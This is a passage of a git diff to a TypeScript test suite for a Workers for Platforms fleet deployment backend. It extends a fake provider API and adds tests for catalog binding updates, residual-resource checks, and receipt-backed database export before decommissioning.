   MAINTENANCE_RECEIPT_HEADER,
+  mintAsymmetricMaintenanceCapability,
   mintMaintenanceReceipt,
   verifyAsymmetricMaintenanceCapability,
 } from '@proofoftech/flowsafe/host-kit';
 import { describe, expect, it, vi } from 'vitest';
 import { ActiveRouteAttestationError } from '../src/active-route.js';
+import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js';
+import { advanceDecommissionDeployment } from '../src/decommission-advance.js';
 import { WorkerDeploymentError } from '../src/deployment-error.js';
+import { migrateFleet } from '../src/fleet.js';
 import {
   canonicalDeploymentEgressPolicy,
+  durableObjectMigrationHistoryDigest,
+  externalEgressProxyScriptName,
   externalPlatformResourceGroupId,
   externalReleaseTopology,
   externalStateScriptName,
 } from '../src/platform-resources.js';
-import { provisionDeployment } from '../src/provision.js';
+import {
+  assertPlatformDurableObjectHistory,
+  forceDecommissionDeployment,
+  provisionDeployment,
+} from '../src/provision.js';
 import { deploymentSpecDigest } from '../src/spec-digest.js';
+import { D1FleetStateStore } from '../src/state-store.js';
 import type {
+  ApplicationR2Binding,
+  ApplicationR2BucketSnapshot,
   DatabaseExport,
+  DatabaseExportReceiptIdentity,
   DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentSecrets,
   DeploymentSpec,
   ExternalMutationFence,
   ExternalPlatformProfile,
   ExternalPlatformResources,
+  ExternalReleaseSnapshot,
   FleetRecord,
   FleetStateLease,
   FleetStateStore,
   PromotionGuard,
 } from '../src/types.js';
+import { validateDeploymentSpec } from '../src/validation.js';
 import {
   externalReleaseScriptName,
   type WorkersForPlatformsApi,
   WorkersForPlatformsBackend,
 } from '../src/workers-for-platforms-backend.js';
+import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js';
+import { D1State } from './fixtures/provider-world.js';
+import { createWfpMaintenanceHarness } from './fixtures/wfp-maintenance-harness.js';
 
 const deployment: DeploymentSpec = {
   tenantTag: 'acme',
@@ -84,6 +107,11 @@ const secrets: DeploymentSecrets = {
   deploymentIdentity: 'deployment-identity-secret-value-0001',
   maintenanceAdmin: 'maintenance-admin-secret-value-00001',
 };
+const r2Resource: ApplicationR2Binding = {
+  name: 'ARTIFACTS',
+  bucketName: 'acme-production-artifacts',
+  jurisdiction: 'default',
+};
 const MAINTENANCE_CAPABILITY_PRIVATE_KEY = {
   kty: 'OKP',
   crv: 'Ed25519',
@@ -104,6 +132,13 @@ const NAMESPACED_STATE = Object.freeze({
   sharedOutboundWorkerName: 'fleet-shared-outbound',
   stateEgressRootSecret: 'state-egress-root-secret-value-0001',
 });
+const RECEIPT_AUTHORITY = 'r2://fleet-exports/receipts/v1';
+const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: RECEIPT_AUTHORITY,
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
 
 class MemoryFleetStore implements FleetStateStore {
   record: FleetRecord | undefined;
@@ -229,7 +264,9 @@ function platformProfile(
 }
 
 class FakeApi implements WorkersForPlatformsApi {
+  readonly fenceState = new D1State();
   readonly calls: string[] = [];
+  residualEvents: string[] | undefined;
   failSecrets = false;
   failUpload = false;
   failDelete = false;
@@ -274,7 +311,13 @@ class FakeApi implements WorkersForPlatformsApi {
   failDisableScriptName: string | undefined;
   failControlUploadAfterCommitScriptName: string | undefined;
   failDatabaseCreateAfterCommit = false;
+  failR2CreateAfterCommit = false;
   database: DatabaseReference | undefined;
+  r2Bucket: ApplicationR2BucketSnapshot | undefined;
+  databaseFindCalls = 0;
+  databaseCreateCalls = 0;
+  r2ReadCalls = 0;
+  r2CreateCalls = 0;
   databaseOwner: string | undefined;
   deploymentSentinelPresent = false;
   readonly migrationRows: Array<{
@@ -327,6 +370,7 @@ class FakeApi implements WorkersForPlatformsApi {
       plane: 'ordinary' | 'dispatch';
     }>[]
   > {
+    this.residualEvents?.push('attachments');
     return this.databaseAttachments;
   }
 
@@ -339,6 +383,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async findDatabase(): Promise<DatabaseReference | undefined> {
+    this.databaseFindCalls += 1;
     return this.database;
   }
 
@@ -354,6 +399,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async createDatabase(): Promise<DatabaseReference> {
+    this.databaseCreateCalls += 1;
     this.database = {
       id: 'db-acme',
       name: 'acme-production',
@@ -366,13 +412,47 @@ class FakeApi implements WorkersForPlatformsApi {
     return { ...this.database, created: true };
   }
 
+  async getR2Bucket(): Promise<ApplicationR2BucketSnapshot | undefined> {
+    this.r2ReadCalls += 1;
+    return this.r2Bucket;
+  }
+
+  async createR2Bucket(resource: ApplicationR2Binding): Promise<void> {
+    this.r2CreateCalls += 1;
+    this.r2Bucket = {
+      ...resource,
+      creationDate: '2026-08-26T00:00:00.000Z',
+    };
+    if (this.failR2CreateAfterCommit) {
+      this.failR2CreateAfterCommit = false;
+      throw Object.assign(new Error('bucket create response lost'), {
+        status: 409,
+      });
+    }
+  }
+
   async queryDatabase(
     _databaseId: string,
     sql: string,
     bindings: readonly unknown[] = [],
   ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    if (
+      /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test(
+        sql,
+      ) ||
+      sql.startsWith('SELECT * FROM flowsafe_execution_fence') ||
+      sql === 'PRAGMA table_xinfo(flowsafe_execution_fence)'
+    ) {
+      const parameters = bindings.map((value) => {
+        if (typeof value !== 'string')
+          throw new Error('fence parameters must be strings');
+        return value;
+      });
+      return this.fenceState.queryDatabase(sql, parameters);
+    }
     if (sql.includes("FROM sqlite_schema WHERE type = 'table' ORDER BY name")) {
       return [
+        ...this.fenceState.queryDatabase(sql),
         ...(this.deploymentSentinelPresent
           ? [{ name: 'flowsafe_deployment', sql: DEPLOYMENT_SENTINEL_DDL }]
           : []),
@@ -525,6 +605,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async inspectControlWorker(scriptName: string) {
+    this.residualEvents?.push(`control:${scriptName}`);
     const inspection = this.controlWorkers.get(scriptName);
     return inspection
       ? {
@@ -562,6 +643,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async hasDurableObjectNamespace(namespaceId: string): Promise<boolean> {
+    this.residualEvents?.push(`namespace:${namespaceId}`);
     this.namespaceExistenceChecks.push(namespaceId);
     return (
       this.remainingNamespaceIds.has(namespaceId) ||
@@ -574,6 +656,7 @@ class FakeApi implements WorkersForPlatformsApi {
   async listDurableObjectNamespaces(
     scriptName: string,
   ): Promise<readonly string[]> {
+    this.residualEvents?.push(`namespaces:${scriptName}`);
     return [...(this.namespaceIdsByScript.get(scriptName) ?? [])].sort();
   }
 
@@ -583,6 +666,7 @@ class FakeApi implements WorkersForPlatformsApi {
     physicalScriptName?: string,
     resources?: ExternalPlatformResources,
     application?: import('../src/types.js').ApplicationBindingTopology,
+    maintenanceCapabilityPublicKey?: string,
   ): Promise<{ artifactVersion: string }> {
     this.calls.push('upload');
     this.uploadedScriptNames.push(physicalScriptName ?? 'missing');
@@ -622,9 +706,20 @@ class FakeApi implements WorkersForPlatformsApi {
               ]
             : []),
         secretNames: this.dispatchSecretNames.get(scriptName) ?? [],
-        plainTextBindings: Object.fromEntries(
-          (application?.vars ?? []).map(({ name, value }) => [name, value]),
-        ),
+        plainTextBindings: {
+          ...Object.fromEntries(
+            (application?.vars ?? []).map(({ name, value }) => [name, value]),
+          ),
+          ...(maintenanceCapabilityPublicKey === undefined
+            ? {}
+            : {
+                FLEET_MAINTENANCE_CAPABILITIES: 'required',
+                FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY:
+                  maintenanceCapabilityPublicKey,
+                FLEET_DEPLOYMENT_SCRIPT: scriptName,
+                FLEET_RESOURCE_ROLE: 'platform-catalog',
+              }),
+        },
         r2BucketBindings: application?.r2Buckets ?? [],
         tenantTag: spec.tenantTag,
         environment: spec.environment,
@@ -762,6 +857,7 @@ class FakeApi implements WorkersForPlatformsApi {
       }
     | undefined
   > {
+    this.residualEvents?.push(`release:${scriptName}`);
     this.inspectedScriptNames.push(scriptName);
     const stateWorker = this.dispatchWorkers.get(scriptName);
     if (stateWorker)
@@ -872,6 +968,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async getHostRouting(): Promise<string | undefined> {
+    this.residualEvents?.push('host');
     return this.routeOwner ? JSON.stringify(this.routeOwner) : undefined;
   }
 
@@ -898,6 +995,7 @@ class FakeApi implements WorkersForPlatformsApi {
   }
 
   async getScriptInventory(_namespaceId: string, scriptName: string) {
+    this.residualEvents?.push(`inventory:${scriptName}`);
     return this.scriptInventories.get(scriptName);
   }
 }
@@ -984,6 +1082,1081 @@ async function attestedHealthResponse(
 }
 
 describe('WorkersForPlatformsBackend', () => {
+  it.each([
+    'alias',
+    'class',
+    'service',
+    'queue',
+  ] as const)('uploads a valid mutable catalog binding change (%s)', async (change) => {
+    const prior: DeploymentSpec = {
+      ...deployment,
+      authoredBy: 'platform',
+      durableObjectMigrations: [
+        { tag: 'v1', newSqliteClasses: ['Maintenance'] },
+      ],
+      durableObjectBindings: [
+        { name: 'MAINTENANCE', className: 'Maintenance' },
+      ],
+    };
+    const target: DeploymentSpec = {
+      ...prior,
+      previousDurableObjectTag: 'v1',
+      ...(change === 'alias'
+        ? {
+            durableObjectBindings: [
+              ...prior.durableObjectBindings,
+              { name: 'ALIAS', className: 'Maintenance' },
+            ],
+          }
+        : {}),
+      ...(change === 'class'
+        ? {
+            durableObjectMigrations: [
+              ...prior.durableObjectMigrations,
+              { tag: 'v2', newSqliteClasses: ['Additional'] },
+            ],
+            durableObjectBindings: [
+              ...prior.durableObjectBindings,
+              { name: 'ADDITIONAL', className: 'Additional' },
+            ],
+          }
+        : {}),
+      ...(change === 'service' ? { egressProxyService: 'catalog-egress' } : {}),
+      ...(change === 'queue'
+        ? { queueProducer: { binding: 'EVENTS', queueName: 'catalog-events' } }
+        : {}),
+    };
+    validateDeploymentSpec(target);
+    assertPlatformDurableObjectHistory(
+      {
+        durableObjectTag: 'v1',
+        durableObjectMigrationHistory: prior.durableObjectMigrations,
+        durableObjectMigrationHistoryDigest:
+          durableObjectMigrationHistoryDigest(prior.durableObjectMigrations),
+      },
+      target,
+    );
+    const client = new FakeApi();
+    client.exists = false;
+    const backend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routes',
+      platformProfileFor: () => platformProfile(),
+    });
+    const database = {
+      id: 'db-acme',
+      name: prior.databaseName,
+      created: false,
+    };
+    await backend.deployWorker(prior, database, secrets, undefined, fence);
+    await backend.deployWorker(target, database, secrets, undefined, fence);
+    expect(client.uploadedScriptNames).toHaveLength(2);
+    const live = client.dispatchWorkers.get(prior.scriptName);
+    expect(live?.desiredSpecDigest).toBe(deploymentSpecDigest(target));
+    expect(live?.durableObjectBindings.map(({ name }) => name)).toEqual(
+      target.durableObjectBindings.map(({ name }) => name),
+    );
+    expect(live?.serviceBindings ?? []).toEqual(
+      change === 'service'
+        ? [{ name: 'EGRESS_PROXY', service: 'catalog-egress' }]
+        : [],
+    );
+    expect(live?.queueProducerBindings ?? []).toEqual(
+      change === 'queue'
+        ? [{ name: 'EVENTS', queueName: 'catalog-events' }]
+        : [],
+    );
+  });
+
+  it('checks catalog residuals without claiming derived external state', async () => {
+    const catalog: DeploymentSpec = { ...deployment, authoredBy: 'platform' };
+    const database = {
+      id: 'db-acme',
+      name: catalog.databaseName,
+      created: false,
+    };
+    const record: FleetRecord = {
+      tenantTag: catalog.tenantTag,
+      environment: catalog.environment,
+      backend: 'workers-for-platforms',
+      wfpMode: 'platform-catalog',
+      scriptName: catalog.scriptName,
+      databaseId: database.id,
+      databaseName: database.name,
+      schemaVersion: catalog.schemaVersion,
+      artifactVersion: 'catalog-v1',
+      desiredSpecDigest: deploymentSpecDigest(catalog),
+      durableObjectBindings: [
+        {
+          name: 'MAINTENANCE',
+          className: 'Maintenance',
+          namespaceId: 'known-local',
+        },
+      ],
+      routeHostname: catalog.routeHostname,
+      phase: 'database-deleting',
+      updatedAt: '2026-09-10T00:00:00.000Z',
+      outboundPolicy: canonicalDeploymentEgressPolicy({
+        policyId: externalPlatformResourceGroupId(catalog),
+        tenantTag: catalog.tenantTag,
+        environment: catalog.environment,
+        allowedHosts: [],
+      }),
+    };
+    const client = new FakeApi();
+    client.exists = false;
+    const events: string[] = [];
+    client.residualEvents = events;
+    const foreign = completeProviderBindingInspection({
+      artifactVersion: 'foreign-v1',
+      databaseIds: ['other-db'],
+      durableObjectBindings: [],
+      serviceBindings: [],
+      kvNamespaceBindings: [],
+      secretNames: [],
+      plainTextBindings: {},
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+      routeHostnames: [],
+      zoneRoutes: [],
+    });
+    const stateName = externalStateScriptName(catalog);
+    const proxyName = externalEgressProxyScriptName(catalog);
+    client.controlWorkers.set(stateName, foreign);
+    client.controlWorkers.set(proxyName, foreign);
+    client.namespaceIdsByScript.set(stateName, new Set(['foreign-namespace']));
+    const backend = new WorkersForPlatformsBackend({
+      namespacedState: NAMESPACED_STATE,
+      client,
+      hostRoutingKvId: 'host-routes',
+    });
+    for (const method of [
+      'assertDatabaseDetached',
+      'assertDatabaseDeletionResidualsRemoved',
+    ] as const) {
+      await expect(
+        backend[method](catalog, record, database, fence),
+      ).resolves.toBeUndefined();
+      client.namespaceIdsByScript.set(
+        catalog.scriptName,
+        new Set(['unrecorded-local']),
+      );
+      await expect(
+        backend[method](catalog, record, database, fence),
+      ).rejects.toThrow("namespace 'unrecorded-local' remains");
+      client.namespaceIdsByScript.delete(catalog.scriptName);
+      client.remainingNamespaceIds.add('known-local');
+      await expect(
+        backend[method](catalog, record, database, fence),
+      ).rejects.toThrow("namespace 'known-local' remains");
+      client.remainingNamespaceIds.clear();
+      await expect(
+        backend[method](deployment, record, database, fence),
+      ).rejects.toThrow('different deployment');
+    }
+    expect(events).not.toContain(`control:${stateName}`);
+    expect(events).not.toContain(`control:${proxyName}`);
+    expect(events).not.toContain(`namespaces:${stateName}`);
+    expect(client.controlWorkers.get(stateName)).toEqual(foreign);
+    expect(client.namespaceIdsByScript.get(stateName)).toEqual(
+      new Set(['foreign-namespace']),
+    );
+    const before = [...events];
+    await expect(
+      backend.deletePlatformResources(catalog, record, database, fence),
+    ).rejects.toThrow('external deployment');
+    await expect(
+      backend.revokePlatformResourceCredentials(
+        catalog,
+        record,
+        database,
+        fence,
+      ),
+    ).rejects.toThrow('external deployment');
+    expect(events).toEqual(before);
+  });
+
+  it.each([
+    'prior',
+    'candidate',
+    'unrecorded',
+  ] as const)('checks catalog teardown against recorded active and pending artifacts (%s)', async (observed) => {
+    const prior: DeploymentSpec = { ...deployment, authoredBy: 'platform' };
+    const target: DeploymentSpec = { ...prior, schemaVersion: 2 };
+    const active: ExternalReleaseSnapshot = {
+      physicalScriptName: prior.scriptName,
+      specDigest: deploymentSpecDigest(prior),
+      artifactVersion: 'catalog-v1',
+      releaseSchemaVersion: 1,
+    };
+    const pending: ExternalReleaseSnapshot = {
+      physicalScriptName: prior.scriptName,
+      specDigest: deploymentSpecDigest(target),
+      artifactVersion: 'catalog-v2',
+      releaseSchemaVersion: 2,
+    };
+    for (const operation of [
+      'removeTraffic',
+      'revokeCredentials',
+      'deleteWorker',
+    ] as const) {
+      const client = new FakeApi();
+      const selected = observed === 'prior' ? active : pending;
+      client.dispatchWorkers.set(
+        prior.scriptName,
+        completeProviderBindingInspection({
+          tenantTag: prior.tenantTag,
+          environment: prior.environment,
+          artifactVersion:
+            observed === 'unrecorded' ? 'catalog-v3' : selected.artifactVersion,
+          desiredSpecDigest: selected.specDigest,
+          schemaVersion: selected.releaseSchemaVersion,
+          databaseIds: ['db-acme'],
+          durableObjectBindings: [],
+          secretNames: [],
+          plainTextBindings: {},
+        }),
+      );
+      const backend = new WorkersForPlatformsBackend({
+        namespacedState: NAMESPACED_STATE,
+        client,
+        hostRoutingKvId: 'host-routes',
+      });
+      const database = {
+        id: 'db-acme',
+        name: prior.databaseName,
+        created: false,
+      };
+      const result =
+        operation === 'deleteWorker'
+          ? backend.deleteWorker(target, [pending], database, active, fence)
+          : backend[operation](target, [pending], active, database, fence);
+      if (observed === 'unrecorded') {
+        await expect(result).rejects.toThrow(
+          'owned by another build or deployment',
+        );
+        expect(client.calls).toEqual([]);
+      } else await expect(result).resolves.toBeUndefined();
+    }
+  });
+
+  it.each([
+    'ready',
+    'before-candidate',
+    'after-candidate',
+  ] as const)('enrolls a legacy catalog under its native Fleet lease and decommissions from %s', async (boundary) => {
+    const catalog: DeploymentSpec = {
+      ...deployment,
+      authoredBy: 'platform',
+      durableObjectBindings: [
+        { name: 'RUNNER', className: 'Runner' },
+        { name: 'MAINTENANCE', className: 'Maintenance' },
+      ],
+      durableObjectMigrations: [
+        { tag: 'v1', newSqliteClasses: ['Runner', 'Maintenance'] },
+      ],
+    };
+    const target: DeploymentSpec = {
+      ...catalog,
+      previousDurableObjectTag: 'v1',
+      modules: [
+        { name: 'worker.js', content: 'export default { fetch() {} }' },
+      ],
+    };
+    const native = await createWfpMaintenanceHarness({
+      catalog,
+      external: deployment,
+      secrets,
+      publicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY,
+    });
+    try {
+      const client = new FakeApi();
+      client.exists = false;
+      const databaseId = '00000000-0000-0000-0000-000000000041';
+      const createDatabase = client.createDatabase.bind(client);
+      client.createDatabase = async () => {
+        const created = await createDatabase();
+        client.database = { ...created, id: databaseId, created: false };
+        return { ...created, id: databaseId };
+      };
+      client.getDatabase = async (id) => {
+        client.databaseIdsRead.push(id);
+        return client.database?.id === id ? client.database : undefined;
+      };
+      const exportBytes = new TextEncoder().encode(
+        '-- fixture database export\nSELECT 1;\n',
+      );
+      const exportSha256 = createHash('sha256')
+        .update(exportBytes)
+        .digest('hex');
+      const exports = await native.exportBucket();
+      const receiptKeys: string[] = [];
+      const lifecycleClient = Object.assign(client, {
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        async exportDatabaseReceipt(
+          identity: DatabaseExportReceiptIdentity,
+        ): Promise<DatabaseExport> {
+          expect(identity).toMatchObject({
+            authority: RECEIPT_AUTHORITY,
+            databaseId,
+          });
+          expect(client.database).toBeDefined();
+          client.calls.push('export-receipt');
+          const key = `receipts/v1/${identity.databaseId}/${identity.operationId}.sql`;
+          await exports.put(key, exportBytes);
+          receiptKeys.push(key);
+          return {
+            databaseId,
+            location: `r2://fleet-exports/${key}`,
+            size: exportBytes.byteLength,
+            sha256: exportSha256,
+          };
+        },
+        async advanceDecommissionAttachmentScan(
+          input: DecommissionAttachmentScanInput,
+        ): Promise<DecommissionAttachmentScanResult> {
+          expect(input.progress.target).toEqual({ kind: 'd1', databaseId });
+          const ordinary = [...client.controlWorkers.values()].filter(
+            (value) => value !== undefined,
+          );
+          const dispatched = [...client.dispatchWorkers.values()];
+          expect(
+            [...ordinary, ...dispatched].some((value) =>
+              value.databaseIds.includes(databaseId),
+            ),
+          ).toBe(false);
+          expect(client.databaseAttachments).toEqual([]);
+          return {
+            status: 'complete',
+            evidenceSha256: createHash('sha256')
+              .update(JSON.stringify({ ordinary, dispatched }))
+              .digest('hex'),
+            evidenceCount: 2 + ordinary.length + dispatched.length,
+            providerFetchAttemptsReserved: 0,
+          };
+        },
+        async deleteDatabase(id: string) {
+          expect(id).toBe(databaseId);
+          expect(receiptKeys).toHaveLength(1);
+          expect(await exports.get(receiptKeys[0] ?? '')).not.toBeNull();
+          client.calls.push('delete-db');
+          client.database = undefined;
+        },
+      });
+      let failEnsure = false;
+      const backend = new WorkersForPlatformsBackend({
+        namespacedState: NAMESPACED_STATE,
+        client: lifecycleClient,
+        fetch: async (input, init) => {
+          if (failEnsure && String(input).endsWith('/ensure-maintenance')) {
+            failEnsure = false;
+            throw new Error('fixture interruption after candidate');
+          }
+          return native.fetch(input, init);
+        },
+        hostRoutingKvId: 'host-routes',
+        platformProfileFor: () => platformProfile(),
+      });
+      const store = new D1FleetStateStore(
+        new D1FleetStateDatabase(await native.fleetDatabase()),
+        {
+          accountId: 'wfp-native',
+          leaseTtlMs: 60_000,
+          leaseRenewalIntervalMs: 20_000,
+        },
+      );
+      await store.get(catalog.tenantTag, catalog.environment);
+      const fleetDb = await native.fleetDatabase();
+      await fleetDb.exec(
+        'CREATE TABLE fixture_first_catalog_claims (phase TEXT, mode TEXT, resource_type TEXT, resource_name TEXT, resource_role TEXT)',
+      );
+      await fleetDb.exec(
+        "CREATE TRIGGER capture_first_catalog_claim AFTER INSERT ON anchorage_fleet_deployments BEGIN INSERT INTO fixture_first_catalog_claims SELECT NEW.phase,NEW.wfp_mode,resource_type,resource_name,resource_role FROM anchorage_platform_plane_claims WHERE account_id='wfp-native' AND resource_set_key='deployment:acme:production'; END",
+      );
+      const initial = await provisionDeployment({
+        backend,
+        store,
+        spec: catalog,
+        secrets,
+        initialExecutionFenceState: 'open',
+      });
+      expect(initial.record.phase).toBe('ready');
+      expect(initial.record.wfpMode).toBe('platform-catalog');
+      expect(client.lastPromotedRoute).not.toHaveProperty('stateEgress');
+      await fleetDb
+        .prepare(
+          'UPDATE anchorage_fleet_deployments SET wfp_mode=? WHERE tenant_tag=? AND environment=?',
+        )
+        .bind('unknown-mode', catalog.tenantTag, catalog.environment)
+        .run();
+      try {
+        await expect(
+          store.get(catalog.tenantTag, catalog.environment),
+        ).rejects.toThrow('invalid wfp_mode');
+      } finally {
+        await fleetDb
+          .prepare(
+            'UPDATE anchorage_fleet_deployments SET wfp_mode=? WHERE tenant_tag=? AND environment=?',
+          )
+          .bind('platform-catalog', catalog.tenantTag, catalog.environment)
+          .run();
+      }
+      expect(
+        (
+          await fleetDb
+            .prepare('SELECT * FROM fixture_first_catalog_claims')
+            .all()
+        ).results,
+      ).toEqual([
+        {
+          phase: 'database-reserved',
+          mode: 'platform-catalog',
+          resource_type: 'dispatch-script',
+          resource_name: catalog.scriptName,
+          resource_role: 'deployment-worker',
+        },
+      ]);
+      const claimRows = async () =>
+        (
+          await fleetDb
+            .prepare(
+              "SELECT resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity FROM anchorage_platform_plane_claims WHERE account_id='wfp-native'",
+            )
+            .all()
+        ).results;
+      const claims = await claimRows();
+      const { wfpMode: _mode, ...lostMode } = initial.record;
+      await expect(
+        store.withDeploymentLease(
+          catalog.tenantTag,
+          catalog.environment,
+          (lease) => lease.put({ ...lostMode, phase: 'identity-seeded' }),
+        ),
+      ).rejects.toThrow();
+      expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual(
+        initial.record,
+      );
+      expect(await claimRows()).toEqual(claims);
+      await expect(
+        store.withDeploymentLease(
+          catalog.tenantTag,
+          catalog.environment,
+          (lease) => lease.put({ ...initial.record, backend: 'plain-worker' }),
+        ),
+      ).rejects.toThrow('wfp_mode');
+      await expect(
+        store.withDeploymentLease(
+          catalog.tenantTag,
+          catalog.environment,
+          (lease) => lease.put({ ...initial.record, platformResources }),
+        ),
+      ).rejects.toThrow('wfp_mode');
+      const installed = client.dispatchWorkers.get(catalog.scriptName);
+      if (!installed) throw new Error('catalog upload is missing');
+      client.dispatchWorkers.set(catalog.scriptName, {
+        ...installed,
+        plainTextBindings: {},
+      });
+      await native.updateCatalog(catalog, false);
+      await expect(
+        backend.inspect(catalog, secrets.maintenanceAdmin),
+      ).rejects.toThrow('signed maintenance enrollment');
+      expect(
+        (
+          await native.catalogFetch(
+            new Request('https://catalog.test/admin/maintenance-status', {
+              headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` },
+            }),
+          )
+        ).status,
+      ).toBe(200);
+      const uploads = client.uploadedScriptNames.length;
+      const upload = client.uploadDispatchWorker.bind(client);
+      client.uploadDispatchWorker = async (
+        ...args: Parameters<WorkersForPlatformsApi['uploadDispatchWorker']>
+      ) => {
+        await upload(...args);
+        await native.updateCatalog(target);
+        const current = client.dispatchWorkers.get(catalog.scriptName);
+        if (!current) throw new Error('enrolled provider snapshot is missing');
+        client.dispatchWorkers.set(catalog.scriptName, {
+          ...current,
+          artifactVersion: 'catalog-v2',
+        });
+        return { artifactVersion: 'catalog-v2' };
+      };
+      await store.withDeploymentLease(
+        catalog.tenantTag,
+        catalog.environment,
+        async (lease) => {
+          const owned = await store.get(catalog.tenantTag, catalog.environment);
+          expect(owned).toEqual(initial.record);
+          if (!owned) throw new Error('owned catalog record is missing');
+          const uploaded = await backend.deployWorker(
+            target,
+            { id: owned.databaseId, name: owned.databaseName, created: false },
+            secrets,
+            undefined,
+            lease,
+            undefined,
+            owned.applicationBindings,
+          );
+          expect(uploaded.artifactVersion).toBe('catalog-v2');
+          expect(
+            await store.get(catalog.tenantTag, catalog.environment),
+          ).toEqual(initial.record);
+        },
+      );
+      const [migrated] = await migrateFleet({
+        store,
+        records: [initial.record],
+        canaryTenantTags: [],
+        backendFor: () => backend,
+        specFor: () => target,
+        secretsFor: () => secrets,
+      });
+      expect(migrated).toMatchObject({
+        phase: 'ready',
+        wfpMode: 'platform-catalog',
+        desiredSpecDigest: deploymentSpecDigest(target),
+        artifactVersion: 'catalog-v2',
+        databaseId: initial.record.databaseId,
+        durableObjectBindings: initial.record.durableObjectBindings,
+        applicationResources: initial.record.applicationResources,
+      });
+      expect(client.uploadedScriptNames).toHaveLength(uploads + 1);
+      expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual(
+        migrated,
+      );
+      await expect(
+        forceDecommissionDeployment({
+          backend,
+          store,
+          tenantTag: catalog.tenantTag,
+          environment: catalog.environment,
+        }),
+      ).rejects.toThrow('does not support spec-free force decommission');
+      expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual(
+        migrated,
+      );
+      let teardownSpec = target;
+      if (boundary !== 'ready') {
+        teardownSpec = {
+          ...target,
+          schemaVersion: 2,
+          migrations: [
+            ...target.migrations,
+            {
+              version: 2,
+              sql: 'ALTER TABLE example ADD COLUMN value TEXT',
+              rollbackCompatible: true,
+            },
+          ],
+          modules: [
+            {
+              name: 'worker.js',
+              content:
+                'export default { fetch() { return new Response("third"); } }',
+            },
+          ],
+        };
+        client.uploadDispatchWorker = async (
+          ...args: Parameters<WorkersForPlatformsApi['uploadDispatchWorker']>
+        ) => {
+          if (boundary === 'before-candidate')
+            throw new Error('fixture interruption before candidate');
+          await upload(...args);
+          await native.updateCatalog(teardownSpec);
+          const current = client.dispatchWorkers.get(catalog.scriptName);
+          if (!current)
+            throw new Error('third catalog provider snapshot is missing');
+          client.dispatchWorkers.set(catalog.scriptName, {
+            ...current,
+            artifactVersion: 'catalog-v3',
+          });
+          return { artifactVersion: 'catalog-v3' };
+        };
+        failEnsure = boundary === 'after-candidate';
+        if (!migrated) throw new Error('migrated record is missing');
+        await expect(
+          migrateFleet({
+            store,
+            records: [migrated],
+            canaryTenantTags: [],
+            backendFor: () => backend,
+            specFor: () => teardownSpec,
+            secretsFor: () => secrets,
+          }),
+        ).rejects.toThrow('fixture interruption');
+        const interrupted = await store.get(
+          catalog.tenantTag,
+          catalog.environment,
+        );
+        expect(interrupted).toMatchObject({
+          phase: 'migrating',
+          schemaVersion: 2,
+          wfpMode: 'platform-catalog',
+          pendingSpecDigest: deploymentSpecDigest(teardownSpec),
+          activeRelease: {
+            artifactVersion: 'catalog-v2',
+            specDigest: deploymentSpecDigest(target),
+            releaseSchemaVersion: 1,
+          },
+        });
+        expect(interrupted?.pendingArtifactVersion).toBe(
+          boundary === 'after-candidate' ? 'catalog-v3' : undefined,
+        );
+      }
+      const removePlatform = vi.spyOn(backend, 'deletePlatformResources');
+      const revokePlatform = vi.spyOn(
+        backend,
+        'revokePlatformResourceCredentials',
+      );
+      const events: string[] = [];
+      client.residualEvents = events;
+      let result = await advanceDecommissionDeployment({
+        backend,
+        store,
+        spec: teardownSpec,
+        action: { kind: 'start' },
+        maxProviderRequests: 9,
+        randomUUID,
+      });
+      for (let count = 0; result.status === 'pending' && count < 80; count++)
+        result = await advanceDecommissionDeployment({
+          backend,
+          store,
+          spec: teardownSpec,
+          action: { kind: 'continue', token: result.token },
+          maxProviderRequests: 9,
+          randomUUID,
+        });
+      expect(result.status).toBe('complete');
+      expect(removePlatform).not.toHaveBeenCalled();
+      expect(revokePlatform).not.toHaveBeenCalled();
+      expect(events).toContain(`namespaces:${catalog.scriptName}`);
+      expect(events).not.toContain(
+        `control:${externalStateScriptName(catalog)}`,
+      );
+      expect(events).not.toContain(
+        `control:${externalEgressProxyScriptName(catalog)}`,
+      );
+      expect(client.calls.indexOf('export-receipt')).toBeLessThan(
+        client.calls.indexOf('delete-db'),
+      );
+      expect(receiptKeys).toHaveLength(1);
+      const exported = await exports.get(receiptKeys[0] ?? '');
+      if (!exported) throw new Error('fixture database export is missing');
+      expect(new Uint8Array(await exported.arrayBuffer())).toEqual(exportBytes);
+      expect(
+        await store.get(catalog.tenantTag, catalog.environment),
+      ).toMatchObject({
+        phase: 'decommissioned',
+        wfpMode: 'platform-catalog',
+        databaseExportSha256: exportSha256,
+        databaseExportSize: exportBytes.byteLength,
+      });
+      expect(await claimRows()).toEqual(claims);
+      await forceDecommissionDeployment({
+        backend,
+        store,
+        tenantTag: catalog.tenantTag,
+        environment: catalog.environment,
+      });
+      expect(
+        await store.get(catalog.tenantTag, catalog.environment),
+      ).toBeUndefined();
+      expect(await claimRows()).toEqual([]);
+    } finally {
+      await native.close();
+    }
+  }, 120_000);
+
+  it('uses the real dispatcher, native catalog and external-state Maintenance for signed health', async () => {
+    const catalog: DeploymentSpec = { ...deployment, authoredBy: 'platform' };
